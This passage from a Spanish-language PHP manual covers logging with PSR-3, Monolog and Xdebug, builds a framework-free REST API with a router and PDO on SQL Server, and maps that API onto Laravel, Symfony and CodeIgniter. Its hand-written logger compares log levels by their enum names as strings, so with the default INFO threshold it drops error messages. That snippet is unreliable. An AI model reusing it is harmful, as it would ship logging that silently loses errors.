case ERROR = 'ERROR';
}
final class LoggerArchivo implements Psr\Log\LoggerInterface // contrato PSR-3
{
public function __construct(private string $ruta, private NivelLog $minimo = NivelLog::INFO)
{
}
public function log(mixed $nivel, string|\Stringable $mensaje, array $contexto = []): void
{
$actual = NivelLog::from(is_string($nivel) ? $nivel : '');
if ($actual->name < $this->minimo->name) {
return;
}
// Interpolacion PSR-3: "Pago de {monto}" + ['monto' => 59.90]
$texto = str_replace(
array_map(fn ($k) => "{{$k}}", array_keys($contexto)),
array_map(strval(...), array_values($contexto)),
(string) $mensaje
);
$linea = sprintf("[%s] [%s] %s%s", date('Y-m-d H:i:s'), $actual->value, $texto, PHP_EOL);
file_put_contents($this->ruta, $linea, FILE_APPEND | LOCK_EX); // eco del cap. 24
}
public function info(string|\Stringable $m, array $c = []): void { $this->log('INFO', $m, $c); }
public function error(string|\Stringable $m, array $c = []): void { $this->log('ERROR', $m, $c); }
public function warning(string|\Stringable $m, array $c = []): void { $this->log('WARN', $m, $c); }
public function debug(string|\Stringable $m, array $c = []): void { $this->log('DEBUG', $m, $c); }
}
$log = new LoggerArchivo(__DIR__ . '/app.log');
$log->info('Pago recibido', ['monto' => 59.90, 'moneda' => 'PEN']);
$log->error('Pasarela rechazo la tarjeta', ['codigo' => '05']);Monolog: el estándar de facto
En proyectos reales no reinventas el logger: composer require monolog/monolog
y configuras canales:
<?php
declare(strict_types=1);
use Monolog\Handler\StreamHandler;
use Monolog\Level;
use Monolog\Logger;
$log = new Logger('pagos');
$log->pushHandler(new StreamHandler(__DIR__ . '/app.log', Level::Info));
$log->pushHandler(new StreamHandler('php://stderr', Level::Error)); // errores TAMBIEN a stderr
$log->info('Pedido creado', ['id' => 1001]);
$log->error('BD inaccesible', ['intentos' => 3]);Depurar sin ensuciar el código
<?php
declare(strict_types=1);
$pedido = ['id' => 1001, 'total' => 74.70];
// Trio de inspeccion rapida (SOLO desarrollo):
var_dump($pedido); // tipos + valores
print_r($pedido); // legible, pierde tipos
debug_zval_dump($GLOBALS['pedido'] ?? null);
// Quien me llamo y desde donde:
$marco = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 3)[0] ?? [];
echo 'llamado desde ', $marco['file'] ?? '?', ':', $marco['line'] ?? '?', PHP_EOL;
// Punto de detencion manual con xdebug activo:
// xdebug_break();Xdebug: breakpoints de verdad
; php.ini (solo desarrollo):
zend_extension=xdebug
xdebug.mode=develop,debug
xdebug.client_port=9003
xdebug.start_with_request=trigger# Disparar el modo debug solo cuando lo pides:
# navegador: cookie XDEBUG_TRIGGER=1 + breakpoint en VS Code / PhpStorm
php -d xdebug.mode=debug script.php # forzar en CLILa disciplina dev/prod
| Setting | Desarrollo | Producción |
|---|---|---|
display_errors | 1 | 0 siempre |
log_errors | 1 | 1 |
error_reporting | E_ALL | E_ALL (sí, también) |
| Xdebug | activo | NUNCA instalado |
Puntos clave
- Niveles DEBUG/INFO/WARN/ERROR; umbral por entorno.
- Contexto estructurado con interpolación
{clave}. - PSR-3 permite cambiar Monolog por otro sin tocar negocio.
display_errors=0en prod es ley; Xdebug jamás en prod.- Logs sin secretos; rotación automática.
41 · API REST integradora sin framework
Avanzado ~20 minTodo el manual confluye aquí: router (32), validación (33), seguridad (34), PDO con SQL Server (36), PSR-4 (37) y worker CLI (31). Un micro-framework de tres clases propias que hace exactamente lo necesario.
Arquitectura y estructura
tienda-api/
├── public/index.php # UNICO punto de entrada (front controller)
├── src/
│ ├── Nucleo/ # Router.php, Respuesta.php
│ └── Controladores/ControladorPedidos.php
├── cli/trabajador_pagos.php # worker asincrono de pagos
└── config.php # credenciales FUERA del repositorio
# Servir: php -S localhost:8000 -t public/ public/router.phpNúcleo: Respuesta y Router
<?php
// src/Nucleo/Respuesta.php
declare(strict_types=1);
namespace Tienda\Nucleo;
final class Respuesta
{
public static function json(mixed $datos, int $codigo = 200): never
{
http_response_code($codigo);
header('Content-Type: application/json; charset=utf-8');
echo json_encode($datos, JSON_UNESCAPED_UNICODE | JSON_THROW_ON_ERROR);
exit;
}
public static function error(string $mensaje, int $codigo = 400): never
{
self::json(['error' => $mensaje], $codigo);
}
}<?php
// src/Nucleo/Router.php
declare(strict_types=1);
namespace Tienda\Nucleo;
use InvalidArgumentException;
final class Router
{
/** @var array<string, callable> */
private array $rutas = [];
public function agregar(string $metodo, string $patron, callable $accion): void
{
// "/pedidos/{id}" -> regex con grupo nombrado:
$regex = preg_replace('#\{(\w+)\}#', '(?<$1>[^/]+)', $patron);
$this->rutas["{$metodo} {$patron}"] = [
'regex' => "#^{$regex}$#",
'accion' => $accion,
];
}
public function despachar(string $metodo, string $ruta): void
{
foreach ($this->rutas as ['regex' => $regex, 'accion' => $accion]) {
if (preg_match($regex, $ruta, $m)) {
$params = array_filter($m, 'is_string', ARRAY_FILTER_USE_KEY);
$accion(...array_values($params)); // inyecta {id}, etc.
return;
}
}
Respuesta::error('Ruta no encontrada', 404);
}
}Controlador: PDO, validación y transacción
<?php
// src/Controladores/ControladorPedidos.php
declare(strict_types=1);
namespace Tienda\Controladores;
use Tienda\Nucleo\Respuesta;
final class ControladorPedidos
{
public function __construct(private \PDO $pdo)
{
}
public function listar(): void
{
$filas = $this->pdo
->query('SELECT id, cliente, total, estado FROM pedidos ORDER BY id DESC')
->fetchAll();
Respuesta::json($filas);
}
public function detalle(string $id): void
{
$fila = $this->buscar((int) $id);
Respuesta::json($fila);
}
public function crear(): void
{
$entrada = json_decode(file_get_contents('php://input') ?: '{}', true);
$errores = [];
if (!isset($entrada['cliente']) || trim($entrada['cliente']) === '') {
$errores[] = 'cliente es obligatorio';
}
$total = filter_var($entrada['total'] ?? null, FILTER_VALIDATE_FLOAT);
if ($total === false || $total <= 0) {
$errores[] = 'total debe ser positivo';
}
if ($errores) {
Respuesta::error(implode('; ', $errores), 422); // validacion fallida
}
$this->pdo->beginTransaction();
try {
$stmt = $this->pdo->prepare(
'INSERT INTO pedidos (cliente, total, estado) OUTPUT INSERTED.id VALUES (?, ?, ?)'
);
$stmt->execute([$entrada['cliente'], $total, 'PENDIENTE']);
$nuevoId = (int) $stmt->fetchColumn();
$this->pdo->commit();
} catch (\Throwable $e) {
$this->pdo->rollBack();
throw $e;
}
Respuesta::json(['id' => $nuevoId, 'estado' => 'PENDIENTE'], 201); // Created
}
private function buscar(int $id): array
{
$stmt = $this->pdo->prepare('SELECT * FROM pedidos WHERE id = ?');
$stmt->execute([$id]);
$fila = $stmt->fetch();
if ($fila === false) {
Respuesta::error("Pedido $id no existe", 404);
}
return $fila;
}
}Front controller: bootstrap en 30 líneas
<?php
// public/index.php
declare(strict_types=1);
require __DIR__ . '/../vendor/autoload.php';
use Tienda\Controladores\ControladorPedidos;
use Tienda\Nucleo\Router;
// Cabeceras de seguridad (cap. 34):
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
// Cualquier Throwable se convierte en JSON limpio (cap. 20):
set_exception_handler(function (Throwable $e): void {
error_log('[API] ' . $e->getMessage());
Tienda\Nucleo\Respuesta::error('Error interno', 500); // sin detalles internos al cliente
});
$pdo = new PDO(
'sqlsrv:Server=' . getenv('DB_HOST') . ';Database=' . getenv('DB_NAME') . ';TrustServerCertificate=1',
getenv('DB_USER'),
getenv('DB_PASS'),
[PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]
);
$r = new Router();
$ctrl = new ControladorPedidos($pdo);
$r->agregar('GET', '/pedidos', fn () => $ctrl->listar());
$r->agregar('GET', '/pedidos/{id}', fn ($id) => $ctrl->detalle($id));
$r->agregar('POST', '/pedidos', fn () => $ctrl->crear());
$r->despachar($_SERVER['REQUEST_METHOD'], parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH));Pagar de forma asíncrona + pruebas con curl
<?php
// En las rutas: POST /pedidos/{id}/pagar dispara el worker (cap. 31) y responde YA:
$r->agregar('POST', '/pedidos/{id}/pagar', function (string $id): void {
shell_exec('nohup php ' . escapeshellarg(__DIR__ . '/../cli/trabajador_pagos.php')
. ' ' . escapeshellarg($id) . ' >/dev/null 2>&1 &');
Tienda\Nucleo\Respuesta::json(['mensaje' => 'Pago en proceso', 'pedido' => (int) $id], 202);
});# Crear:
curl -s -X POST localhost:8000/pedidos \
-H "Content-Type: application/json" \
-d '{"cliente":"Cafeteria El Sol","total":74.70}'
{"id":1001,"estado":"PENDIENTE"}
# Consultar y pagar:
curl -s localhost:8000/pedidos/1001
curl -s -X POST localhost:8000/pedidos/1001/pagar
{"mensaje":"Pago en proceso","pedido":1001}
# Validacion fallida:
curl -s -X POST localhost:8000/pedidos -d '{"total":-5}' -H "Content-Type: application/json"
{"error":"cliente es obligatorio; total debe ser positivo"} # HTTP 422- El patrón OUTPUT INSERTED pertenece a SQL Server; en MySQL sería
lastInsertId()(tabla del cap. 36). - 202 Accepted: «recibido, aún no terminado» — el código honesto para trabajos async.
- El handler global NUNCA filtra stack traces al cliente; solo al log.
Puntos clave
- Front controller único: bootstrap + router + controladores.
- Parámetros de ruta via regex con grupos nombrados.
- Códigos precisos: 201 creado, 202 aceptado-async, 422 validación, 404, 500.
- Toda escritura compuesta va en transacción.
- Con esto leído, cualquier framework será sintaxis nueva sobre ideas viejas.
42 · Rumbo a Laravel, Symfony y CodeIgniter
Intermedio ~13 minTerminaste el manual: ya sabes PHP de verdad. Los frameworks no inventan conceptos nuevos — toman cada pieza que construiste a mano y te la dan empaquetada. Este capítulo es el mapa de equivalencias para que el salto sea un paseo.
Tu API del cap. 41, traducida
| Lo que construiste | Laravel | Symfony | CodeIgniter 4 |
|---|---|---|---|
| Router propio (regex) | Route::get() | #[Route] atributos | Routes.php |
| Controladores con PDO inyectado | Controladores + Eloquent | + Doctrine ORM | Modelos + Query Builder |
filter_var manual | Form Requests | Validator/Constraints | Library Validation |
$_SESSION | Session:: facade | SessionInterface | Services Session |
| Logger PSR-3/Monolog | Log:: facade | Monolog nativo | Logger propio CI |
| Worker CLI nohup (cap. 31) | queue:work + jobs | Messenger consume | Queue + cron job |
| .env + getenv() (cap. 41) | Valet de DotEnv integrado | Dotenv + %env% | .env propio |
| Migraciones: aún ninguna | migraciones + seeders | Doctrine Migrations | Migrations CLI |
Qué aporta cada framework
<?php
// El mismo endpoint "crear pedido" en Laravel — mira lo que DESAPARECE:
namespace App\Http\Controllers;
use App\Models\Pedido;
use Illuminate\Http\Request;
class ControladorPedidos extends Controller
{
public function crear(Request $peticion): \Illuminate\Http\JsonResponse
{
// Validacion declarativa (tu filter_var del cap. 33, industrializado):
$datos = $peticion->validate([
'cliente' => 'required|string|max:80',
'total' => 'required|numeric|min:0.01',
]);
$pedido = Pedido::create($datos + ['estado' => 'PENDIENTE']);
return response()->json(['id' => $pedido->id], 201);
}
}- Laravel: ecosistema gigante, sintaxis expresiva, dominante en ofertas laborales peruanas y latinoamericanas. Primera parada natural.
- Symfony: componentes desacoplados usados hasta por Laravel; estándares enterprise; su forma enseña arquitectura. Segunda parada o directa si vienes de Java/.NET.
- CodeIgniter 4: mínimo, rápido de aprender, sin magia; ideal para hosting compartido y proyectos pequeños. Buena primera experiencia si algo pesado asusta.
| Criterio | Laravel | Symfony | CodeIgniter 4 |
|---|---|---|---|
| Curva inicial | suave | media-alta | la más suave |
| Ecosistema/paquetes | enorme | grande y maduro | moderado |
| Empleo en Perú | dominante | enterprise/bancos | nicho |
| Rendimiento base | bueno | bueno | excelente ligero |
Checklist de dominio antes del salto
[ ] Explico strict_types, union/interseccion/DNF y cuándo usar cada uno (caps. 5, 11)
[ ] Escribo una clase readonly con hooks sin dudar (cap. 16)
[ ] Diferencio Error de Exception y encadeno causas (cap. 20)
[ ] Consumo APIs con cURL y manejo errores de red (cap. 27)
[ ] Mi formulario valida en servidor y usa PRG (cap. 33)
[ ] Nunca concateno SQL; escapar al salir es reflejo (cap. 34)
[ ] Sesiones con regenerate_id y cookies samesite (cap. 35)
[ ] Transacciones PDO para operaciones compuestas (cap. 36)
[ ] Composer: lock en git, vendor fuera, ^ bien usado (cap. 37)
[ ] Pruebo rutas felices Y de error con PHPUnit (cap. 38)La ruta recomendada desde aquí
- Serie a posteriori de este manual: glosario técnico → arquitectura backend (MVC, HTTP profundo) → tutorial práctico con app guía → taller secuencial (ver §10.3 del documento de control).
- Laravel oficial: instala con Composer (¡ya lo dominas!) y recorre Laracasts/Laravel Bootcamp: reconocerás el 80% de los conceptos.
- Proyecto personal real: la mejor escuela. Un sistema de ventas pequeño con autenticación, colas y pruebas vale más que diez cursos.
composer require que escribas será el
primero de muchos. ¡A construir!Puntos clave
- Framework = tus piezas artesanales empaquetadas + DI container + middleware.
- Laravel para empleo local; Symfony para arquitectura; CI4 para ligereza.
- La base de este manual hace legible CUALQUIER framework moderno.
- El aprendizaje real sigue en proyecto propio: empieza esta semana.